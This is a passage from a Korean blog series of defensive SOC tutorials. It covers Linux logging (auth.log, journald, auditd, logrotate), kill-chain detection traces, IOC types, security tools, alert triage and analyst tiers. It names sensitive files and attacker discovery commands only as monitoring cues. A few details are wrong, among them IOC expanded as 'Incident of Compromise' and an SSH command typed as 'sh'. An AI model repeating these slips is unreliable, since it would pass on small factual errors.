→ 실행된 프로그램뿐만 아니라, 실행 시 입력한 옵션과 인자 값까지 모두 보여줌

- 파일 무결성 추적 (type=PATH)

→ 특정 민감 파일 (.ssh/authorized_keys, /etc/shadow...)에 누가 접근했는지, 생성/수정/삭제 여부를 실시간 추적

- 실제 사용자 식별 (auid)

→ 공격자가 sudo를 통해 root 권한으로 활동해도 최초 접속 시의 사용자 ID (Audit User ID)를 끝까지 추적

- 커널 수준 수집 (type=SYSCALL)

→ Shell 레벨을 넘어서는 시스템 콜 (syscall) 단위의 기록 제공 → 로그 신뢰도 매우 높음

주의사항

- 설정의 중요성: 기본 설정만으로는 수집 범위가 제한적 → 보안 규칙 (audit.rules) 설정 필요

- 데이터 폭증: 너무 세밀히 설정 시 로그 양이 너무 많음 → 시스템 성능에 악영향

- 복잡한 형식: 로그가 사람이 읽기엔 복잡 → 전문적인 파싱 도구나 SIEM 솔루션을 통한 시각화 필요

[7-7] logrotate와 압축 로그

- 리눅스는 logrotate 도구를 통해 로그 파일을 주기적으로 관리함

+ auth.log = 현재 기록되고 있는 활성 로그 파일

+ auth.log.1 = 어제 기록되었던 로그가 백업된 상태 (압축 전)

+ auth.log.2.gz = 2일 전 기록된 백업 로그가 압축된 상태 (용량 절감)

+ auth.log.3.gz = 3일 전 기록된 백업 로그가 압축된 상태 (용량 절감)

+ RHEL 계열은 `secure-20260420` 같이 날짜 기반 이름 사용

압축 로그 전용 조회 명령어 (Z-Commands)

- zgrep (= grep) : 압축된 로그 내 특정 키워드 (IP, 계정 등) 검색

- zless (= less) : 압축 파일 내용을 페이지 단위로 확인

- zcat (= cat) : 압축 파일 전체 내용 조회

- zdiff (= diff) : 압축된 두 로그 파일 간의 차이점 비교

[7-8] 리눅스 로그 조회 워크플로우

1. 현재 보기 ( tail -f )

- 실시간으로 발생 중인 최신 로그 동향 파악

→ brute force 공격이나 시스템에러를 실시간 모니터링

2. 문맥 보기 ( less )

- 로그 파일 전체를 보며 흐름 파악

→ 특정 이벤트 발생 전후의 사용자 행위를 파악해 공격의 맥락 파악

3. 필터링 ( grep )

- 특정 키워드(IP, 사용자명, 파일명 등)가 포함된 라인만 조회

→ 알려진 IOC(침해 지표)가 시스템 내에 있는지 확인

4. 패턴 요약 ( awk, sort, uniq )

- 대량의 로그 데이터를 가공해 빈도 집계 및 이상 패턴 발견

→ 공격의 규모와 대상을 수치화

5. 과거 확장 ( zgrep )

- 압축된 과거의 로그 파일들 검색

→ 예전에 발생했을지 모를 초기 침투 흔적 추적

[Blue Team] EP.7 - Linux 로그 구조 및 파일 체계. END.

[Blue Team] EP.6 - Linux 로그 기초

AnbyMata — Sun, 19 Apr 2026 22:00:34 +0900

[6-1] Linux의 주요 관찰 행위 유형

Auth & System (인증 및 권한)

- 사용자 로그인/로그아웃 - SSH 접속이나 Console을 통한 접근 기록 확인

- 권한 상승 - sudo나 su 명령을 통해 일반 사용자의 관리자 권한 획득 시도 감지

Process & System (프로세스 및 서비스)

- 명령 실행 - 사용자가 입력한 Shell 명령어, cron(예약된 작업), systemd(시스템 서비스)의 실행 상태 추적

- 서비스 제어 - 특정 서비스의 시작, 중지, 변경 이력 관찰

File & Network (파일 및 네트워크)

- 파일 시스템 변화 - 중요한 설정 파일이나 데이터의 생성, 수정, 삭제 행위 모니터링

- 네트워크 연결 - Outbound(외부로 나가는 통신)과 Inbound(들어오는 접속)을 파악

Audit (감사)

- 위의 행위들을 정밀하게 기록하는 Audit 시스템을 통해 세부 증거 수집

[6-2] 로그 기록의 생성 과정

1. 사용자 입력

- 관리자가 `sh admin@host` 같은 명령으로 접속 시도

2. sshd (서비스)

- SSH 데몬이 연결 요청을 수신하고 수락 여부 결정

3. PAM (인증 모듈)

- 계정 정책과 비밀번호를 검증해 실제 로그인 허용 여부 판단

4. Shell 생성

- 인증 완료 시 사용자가 명령을 내릴 수 있는 Shell (session)이 열림

5. 명령 실행 (sudo...)

- 사용자의 권한 상승이나 특정 명령은 추가적인 흔적이 남음

6. 최종 기록

- 이 모든 과정은 auth.log 나 secure 파일에 기록되어 SIEM에 수집됨

확인해야 할 주요 흔적들

- auth.log - 인증의 성공과 실패 여부 확인하는 1순위 데이터

- syslog - 시스템 전반의 운영 및 세션 정보

- wtmp - 사용자의 로그인 및 로그아웃 기록

- auditd - 리눅스 커널 수준에서 발생하는 파일 접근, 시스템 호출 등의 상세 행위 기록

[6-3] 데이터 소스별 특징

System Log (auth.log, syslog)

- 생성 주체: OS / 서비스

- 저장 위치: /var/log/*

- 조작 가능성: 중간 (root로 삭제 가능)

- 신뢰 수준: 높음

- 주요 활용: auth.log로 인증, 시스템 이벤트 확인

Journal (systemd-journald)

- 생성 주체: systemd

- 저장 위치: /run/log/journal

- 조작 가능성: 중간

- 신뢰 수준: 높음

- 주요 활용: 서비스 단위 추적 및 빠른 로그 조회

Shell History

- 생성 주체: 사용자 Shell

- 저장 위치: ~/.bash_history

- 조작 가능성: 높음 (삭제/우회 쉬움)

- 신뢰 수준: 낮음~중간

- 주요 활용: 분석의 보조 단서로만 활용

Audit Log

- 생성 주체: 커널 감사

- 저장 위치: /var/log/audit/

- 조작 가능성: 낮음~중간

- 신뢰 수준: 매우 높음

- 주요 활용: 명령어 실행, 파일 접근 등의 정밀 분석

Telemetry

- 생성 주체: 보안 에이전트

- 저장 위치:클라우드, SIEM

- 조작 가능성: 낮음 (외부 저장)

- 신뢰 수준: 매우 높음

- 주요 활용: 프로세스 트리 (EDR), 네트워크 이상 감지

[6-4] 로그 관리 방식

syslog (전통 방식)

- 작동 원리: 애플리케이션이 syslog() 함수를 호출하여 로그 전달

- 저장 형식: /var/log/* 경로에 텍스트 파일로 저장

- 조회 방법: cat, tail, grep 등의 텍스트 도구 사용

- 특징: logrotate 를 통해 파일 회전 및 압축 관리

journald (현대 방식)

- 작동 원리: systemd 서비스가 직접 journald 로 로그 전송

- 저장 형식: /run/log/journal 에 바이터리 형식으로 저장

- 조회 방법: journalctl 전용 명령어로만 조회 가능

- 특징: 바이너리 구조로 빠른 검색과 메타데이터 포함 가능

[6-5] 로그 구성 요소

시간 - 이벤트가 발생한 정확한 시간

- Apr 18 15:27:55 → 정상 업무 시간대인지, 직전/직후에 연관된 다른 행위가 있는지 파악하는 기준

호스트 - 이벤트가 발생한 서버 식별

- web03 → 자산의 중요도로 분석 우선 순위 결정

프로세스 - 이벤트를 기록한 서비스와 PID(프로세스 ID)

- sshd[21032] → SSH 서비스가 기록 주체임을 확인

결과 - 행위의 성공 여부

- Failed password → 성공 여부에 따라 위협의 심각도 결정

세부 정보 - 어떤 계정으로 어디서 접근했는지에 대한 구체적인 데이터

- root / 174.22.123.44 → root 계정으로 174.22.123.44 IP에서 접근함

[6-6] 로그 해석의 핵심 context

사용자 context - 행위 주체는?

- 일반 사용자, 관리자, VIP, 퇴사자의 계정... → 위험도 파악

자산 context - 발생한 서버는?

- 인터넷에 노출된 웹 서버, 내부망의 핵심 데이터 서버... → 자산의 중요도 파악

시간 context - 발생한 시간은?

- 정상 업무 시간, 야간/주말, 정기 배치 작업 시간

네트워크 context - 접속한 위치는?

- 내부망, VPN, Bastion(점프 서버)을 통한 접근, 해외 IP, 신규 IP

변경 context - 사전에 승인 여부는?

- 공식적인 점검, 최근 배포나 패치 작업과 연관된 행위

[Blue Team] EP.6 - Linux 로그 기초. END.

[Blue Team] EP.5 - 공격 시나리오

AnbyMata — Sat, 18 Apr 2026 22:00:14 +0900

[5-1] Cyber Kill Chain (사이버 공격의 흐름)

1. 초기 침투 (Initial Access)

- 피싱 메일 = 악성 메일 유포 및 유입

- 흔적: 악성 URL 클릭, 첨부파일 실행

→ Email Gateway: 헤더 분석을 통한 발신자 평판 이상 및 악성 파일 탐지

→ Proxy: 로그 내 알려진 C2 서버나 악성 도메인으로의 접속 기록

2. 권한 확보 (Credential Access)

- 인증정보 탈취 = ID/PW 탈취 및 권한 확보

- 시스템 접속 권한 확보

- 흔적: 로그인 실패 폭증, MFA 우회 시도

→ SIEM (Auth Log): 특정 계정에 대한 Brute Force 공격 및 비정상적인 인증 패턴 감지

3. 지속성 유지 (Persistence)

- 비정상 로그인 = 탈취한 계정으로 로그인

- 공격 지속을 위한 거점 확보

- 흔적: 물리적으로 불가능한 이동 시간 내 접속, 해외 IP 또는 신규 디바이스를 통한 세션 생성

→ SIEM (IdP): 계정 관리 시스템에서 새로운 접속 정보와 비정상 위치/시잔 접속 감지

4. 내부 탐색 (Discovery)

- 시스템 및 네트워크 정보 수집

- 더 가치 있는 정보를 찾는 과정

- 흔적: Powershell을 이용한 정보 수집 명령 (whoami, netuser) 흔적, 관리자 도구 실행 및 파일 시스템 검색 행위

→ EDR: 엔트포인트 내 비정상 프로세스 트리 및 명령 실행 기록 추적

5. 데이터 수집 (Collection)

- 유출 및 파과할 핵심 데이터를 한곳에 집결

- 흔적: 단시간 내 대량의 파일 접근 및 특정 폴더로의 복사/압축 행위, 민감 데이터에 대한 접근 권한 오남용

→ EDR / 파일 서버 로그 / SIEM: 호스트 내 비정상적인 파일 접근 패턴 및 대규모 데이터 가공 행위

6. 외부 유출 (Exfiltration)

- 수집한 데이터를 외부로 빼돌림

- 최종 목적 달성

- 흔적: 알려지지 않은 외부 클라우드 스토리지로의 대용량 업로드, 비정상적인 포트를 통한 대규모 데이터 유출

→ DLP, Proxy, CASB, 방화벽: 네트워크 트래픽 로그 내 비정상적인 데이터 이동 감지

[5-2] 이벤트 분석의 6요소

Who - 어떤 계정인가?

→ 일반인 vs 관리자 or VIP

Where - 어디서 발생했는가?

→ 출발지 IP, 국가, 접속 디바이스

When - 언제 발생했는가?

→ 정상 업무 시간대 여부, 직전/직후 행위

What - 무엇을 했는가?

→ 로그인 후 접근한 시스템이나 데이터

Impact - 얼마나 위험한가?

→ 공격의 범위와 영향도

Action - 지금 당장 무엇을 해야 하는가?

→ 계정 잠금, 세션 종료 등의 즉각 조치 필요 여부

[5-3] IOC (Incident of Compromise)

IOC = 시스템이나 네트워크에 침해가 발생했음을 나타내는 위협 인텔리전스의 가장 기본적인 단위

주요 IOC 유형 (대표적인 흔적들)

- IP 주소 - 공격에 사용된 것으로 확인된 악성 C2(Command & Control) 서버의 주소

- 도메인 - 사용자를 속이는 피싱 사이트나 악성 코드를 배포하는 도메인 정보

- 파일 해시 - 특정 악성코드 파일이 가진 고유의 지문값(MD5, SHA256...)

- 이메일 - 피싱 공격을 시도한 발신자의 주소 정보

- URL - 악성 스크립트가 포함된 링크나 payload 다운로드 경로

SOC에서의 IOC 활용

- 탐지 및 분석 (SIEM)

→ 외부에서 생성된 위협 정보를 평판 DB와 대조 → 내부 네트워크에 동일한 IP나 도메인인 나타나는지 실시간으로 감지

- 자동화된 보강 (SOAR Enrichment)

→ Alert 발생 시 SOAR가 자동으로 해당 IP나 파일 해시를 외부 위협 인텔리전스 피드와 대조 → 위험도 즉시 판단

- 지속적 업테이트

→ 확인된 새 공격 패턴을 IOC로 등록 → 위협 인텔리전스 피드를 최신 상태로 유지

[Blue Team] EP.5 - 공격 시나리오. END.

[Blue Team] EP.6 - Linux 로그 기초. Continue...

https://anbymata.tistory.com/68

[Blue Team] EP.6 - Linux 로그 기초

[6-1] Linux의 주요 관찰 행위 유형Auth & System (인증 및 권한)- 사용자 로그인/로그아웃 - SSH 접속이나 Console을 통한 접근 기록 확인- 권한 상승 - sudo나 su 명령을 통해 일반 사용자의 관리자 권한 획득

anbymata.tistory.com

[Blue Team] EP.4 - 보안 도구들

AnbyMata — Fri, 17 Apr 2026 22:00:14 +0900

[4-1] SOC의 주요 보안 도구들

SIEM (Security Information and Event Management)

- 중앙 관제 플랫폼

- 인프라 전체의 로그 수집

- 로그들을 정구화하고 상관관계를 분석하여 위협 탐지

- 범위: 전체 인프라를 넓게 조망

EDR (Endpoint Detection and Response)

- 개별 PC나 서버(endpoint) 내부에서 일어나는 프로세스 실행, 파일 생성 등 상세 확인

- 위협시 격리 및 파일 차단 조치 수행

- 범위: 호스트 내부를 깊게 분석

IDS/IPS (Intrusion Detection/Prevention System)

- IDS = 네트워크 트래픽 흐름 속에서 악성 패턴이나 비정상 통신 탐지

- IPS = 악성 패턴이나 비정상 통신 탐지 시 정책에 따라 차단

- 범위: 네트워크 흐름 전체를 감시

SOAR (Security Orchestration, Automation and Response)

- 여러 보안 도구와 시스템을 연결

- 반복적인 업무를 Playbook 기반으로 자동화

- 대응 속도를 극대화하는 엔진

- 범위: 각 보안 도구 간의 연결

Case/Ticket (수사 기록 장부)

- 탐지된 위협의 분석 과정부터 최종 조치 결과까지의 모든 과정 문서화

- 팀 간의 협업 및 추적 관리

- 범위: 전체적인 보안의 운영 문서화

[4-2] 현대 SOC의 Operational Chain

1. Data Sources

= 로그, 트래픽, 엔드포인트 등 모든 보안 데이터의 시작점

2. SIEM Detection

= 수집된 데이터를 바탕으로 SIEM이 위협을 탐지

3. Analyst Triage

= 분석가가 탐지된 이벤트의 우선순위를 정하고 실제 위협인지 판단

4. EDR/Net Deep Dive

= 필요 시 엔드포인트나 네트워크 데이터를 통해 심층 분석

5. SOAR/IR Action

= SOAR 및 IR 체계를 통해 위협을 차단하고 격리

6. Case Closure

= 모든 대응 완료 → 사건 종결

운영의 효율화 → MTTD와 MTTR의 효과적 감소

[4-3] SOAR Playbook 예시

1. Trigger

- 로그인 페이지 SQL Inection 시도 탐지 → WAF 또는 SIEM Alert 발생

2. 자동 Enrichment

- 공격 IP 평판 조회

- payload 분석

- 과거 공격 이력 대조

3. 조건 분기

- 명백한 악성 공격 → 4번 자동 조치

- 공격 여부 모호 → 보안 분석가에게 판단 요청

4. 자동 조치

- WAF 에서 해당 IP 즉각 차단

- 침해 시도한 계정 임시 잠금

- 보안 장비 정책 업데이트

5. 자동 기록

- Incident Case 생성

- 차단 로그 기록

- 공격 패턴을 침해 지표 (IOC)로 등록 및 보고서 작성

[Blue Team] EP.4 - 보안 도구들. END.

[Blue Team] EP.5 - 공격 시나리오. Continue...

https://anbymata.tistory.com/67

[Blue Team] EP.5 - 공격 시나리오

[5-1] Cyber Kill Chain (사이버 공격의 흐름)1. 초기 침투 (Initial Access) - 피싱 메일 = 악성 메일 유포 및 유입 - 흔적: 악성 URL 클릭, 첨부파일 실행 → Email Gateway: 헤더 분석을 통한 발신자 평판 이상 및

anbymata.tistory.com

[Blue Team] EP.3 - Alert 판단

AnbyMata — Thu, 16 Apr 2026 22:00:44 +0900

[3-1] Log, Event, Alert, Incident

1단계 - Log (로그)

- 시스템이 남긴 원시 기록 (의미 없는 사실)

- ex) 11:10에 검정색 후드를 입은 남성이 건물에 출입함

2단계 - Event (이벤트)

- 의미를 해석한 단위 행위 (의미 부여)

- ex) 방금 출입한 남성이 서버실이 있는 위치로 이동함

3단계 - Alert (알림)

- 탐지 로직이 주의를 요구한 상태 (가설)

- ex) 해당 남성은 사원증이 없는 상태로 서버실로 접근 중 → 확인 필요

4단계 - Incident (사건)

- 실제 대응이 필요한 보안 사고 (결론)

- ex) 사원이 아닌 외부인이 서버실에 무단 침입 → 경비 출동 및 경찰 신고

[3-2] 로그의 핵심 필드

로그 예시

When (시간) - 언제 발생했는가?

- [2026-04-16T14:40:19Z]

→ 2026년 04월 16일 오후 2시 40분

Who (사용자) - 누가 행동했는가?

- user=game_dev02

→ 게임 개발자

What (행위) - 무엇을 했는가?

- action=login

→ 로그인 시도

Where (출발지) - 어디서 왔는가?

- src_ip=222.128.110.77

→ 중국의 ip (src_country=CN 부분을 통해 직관적 확인 가능)

Result (결과) - 성공했는가?

- result=success

→ 로그인 성공

기타 정보

- device=Linux_Ubuntu_Unknown

→ 일반적인 Windows나 Mac이 아닌 미확인 기기

- mfa=passed

→ 2차 인증도 통과

[3-3] Alert Triage (분류 과정)

1. 데이터 신뢰성 - 신뢰할 수 있는 데이터인가?

- 시스템 오류나 중복 데이터 → 닫기 / 병합

2. 정상 여부 - 미리 알려진 정상 행위인가?

- 승인된 작업이나 정시 점검 → Bengin / 예외 처리

3. 자산 중요도 - 핵심 자산/계정에 영향이 있는가?

- 관리자 계정이나 핵심 서버에 영향 → L2 escalation(연결)

4. 즉시 조치 필요성 - 지금 당장 대처해야될 사항인가?

- 영향이 확산되고 파괴적임 → IR/CERT 호출

[3-4] 판단문 작성의 4대 요소

1. Fact (관측 사실)

- 데이터에 나타난 객관적 사실

- ex) 2026년 4월 16일 14:40(KST), 게임 개발자 계정(game_dev02)이 중국(CN) IP 대역에서 로그인에 성공

2. Reason (의심 근거)

- 위협이라고 생각한 이유

- ex) 해당 개발자는 현재 사내(국내) 근무 중으로, 중국 출장이나 외부 접속 승인 내역이 없음

- ex) 사내 표준 단말 (Windows/Mac)이 아닌 생소한 기기 사용

3. Impact (영향 범위)

- 피해 규모와 민감도 파악

- ex) game_dev02 계정은 핵심 게임 소스 코드에 대한 쓰기 권한을 보유함

- ex) 게임의 핵심 기술 유출 가능성이나 악성 코드 삽입 가능성 존재

4. Action (권고 조치)

- 누가 무엇을 해야 하는지 제안

- ex) 해당 계정의 강제 종료 및 잠금 처리

- ex) 로그인 직후 수행된 파일 접근 및 명령어 기록 조사

- ex) L2 심층 분석 팀 및 IR(사고대응) 팀에 즉시 통보

[Blue Team] EP.3 - Alert 판단. END.

[Blue Team] EP.4 - 보안 도구들. Continue...

https://anbymata.tistory.com/66

[Blue Team] EP.4 - 보안 도구들

[4-1] SOC의 주요 보안 도구들SIEM (Security Information and Event Management)- 중앙 관제 플랫폼- 인프라 전체의 로그 수집- 로그들을 정구화하고 상관관계를 분석하여 위협 탐지- 범위: 전체 인프라를 넓게

anbymata.tistory.com

[Blue Team] EP.2 - L1, L2, L3, IR/CERT

AnbyMata — Wed, 15 Apr 2026 22:00:55 +0900

[2-1] 대표적인 SOC 운영 구조

L1 - Alert Triage

- 역할: 1차 분류 및 모니터링

- 대량 알람 중 실제 위협 후보를 선별

L2 - Deep Analysis

- 역할: 상세 분석

- 위협의 침투 범위 파악 및 실제 칩입 여부 최종 판단

L3 - Detection Engineering

- 역할: 헌팅 및 룰 개선

- 능동적으로 위협을 찾음 (= Threat Hunting)

- 탐지 공백을 메우는 룰 작성

IR/CERT - Incident Response

- 역할: 실제 대응 및 복구

- 시스템 격리, 포렌식, 피해복구 및 사후 보고서 작성

[2-2] IR/CERT의 미션

IR (Incident Response) = 사고 대응 팀

CERT = 침해사고 대응 팀

→ 단순 분석이 이닌 위협을 통제하고 시스템을 정상 상태로 복구하는 팀

1. Contain (억제)

- 계정 잠금, 호스트 격리, IP 차단 등으로 공격자가 더 이상 활동할 수 없게 함

2. Eradicate (제거)

- 침투의 원인이 된 취약점 제거 및 악성 프로세스 삭제

3. Recover (복구)

- 서비스 정상화 및 동일 공격 재발 방지를 위한 보완

4. Improve (개선)

- 사후 분석을 통해 관제 룰 개선 및 보안 체계 강화

[2-3] NIST CSF 2.0으로 본 SOC 계측별 역할

1. Detect (탐지) - SOC의 존재 이유인 위협 발견/탐지

- 모든 계층이 관여

- L1(분류) & L3(엔지니어링): 탐지의 핵심. L1은 실시간 알람을 선별하고, L3는 새로운 탐지 룰을 설계해 공격 감지

- L2(분석): 발견된 위협이 진짜인지 심층 분석하며 탐지 지원

- IR/CERT: 부분적으로 참여. 실제 상황 발생시 가동될 준비

2. Respond (대응) - 공격의 확산을 막고 조치하는 단계

- 뒤로 갈수록 책임이 무거움

- IR/CERT: 대응의 핵심. 시스템 격리나 차단 등의 실제 액션을 수행

- L2(분석): 분석 결과를 토대로 대응 방향 결정. 주요 파트너 역할

- L1(분류) & L3(엔지니어링): 상황 전파 및 기술적 지원 수행. 부분적 참여

3. Recover (복구) - 사고 이후 시스템 정상화

- IR/CERT: 복구의 중심. 서비스 정상화와 재발 방지 대책 수립을 주도

- L2(분석) & L3(엔지니어링): 복구 과정에서 필요한 분석 데이터나 개선된 보안 설정을 제공하며 도움

- L1(분류): 복구 단계에서는 관여도가 낮음

4. Identify (식별) - 자산 및 위험 파악 단계

- L3(엔지니어링): 탐지 룰을 만들기 위해 자산의 특성과 위협 모델 분석

- L2(분석) & IR: 사고 분석과 대응 과정에서 파악된 자산 정보를 업데이트. 부분적 참여

- L1(분류): 식별 단계에서는 관여도가 낮음

L1(분류) - 탐지에 집중

L2(분석) - 탐지와 대응 사이에서 분석의 교량 역할

L3(엔지니어링) - 탐지와 식별을 통해 방어 체계의 기반 설계

IR/CERT - 대응과 복구라는 최종 해결사 역할

[Blue Team] EP.2 - L1, L2, L3, IR/CERT. END.

[Blue Team] EP.3 - Alert 판단. Continue...

https://anbymata.tistory.com/65

[Blue Team] EP.3 - Alert 판단

[3-1] Log, Event, Alert, Incident1단계 - Log (로그)- 시스템이 남긴 원시 기록 (의미 없는 사실)- ex) 11:10에 검정색 후드를 입은 남성이 건물에 출입함 2단계 - Event (이벤트)- 의미를 해석한 단위 행위 (의미

anbymata.tistory.com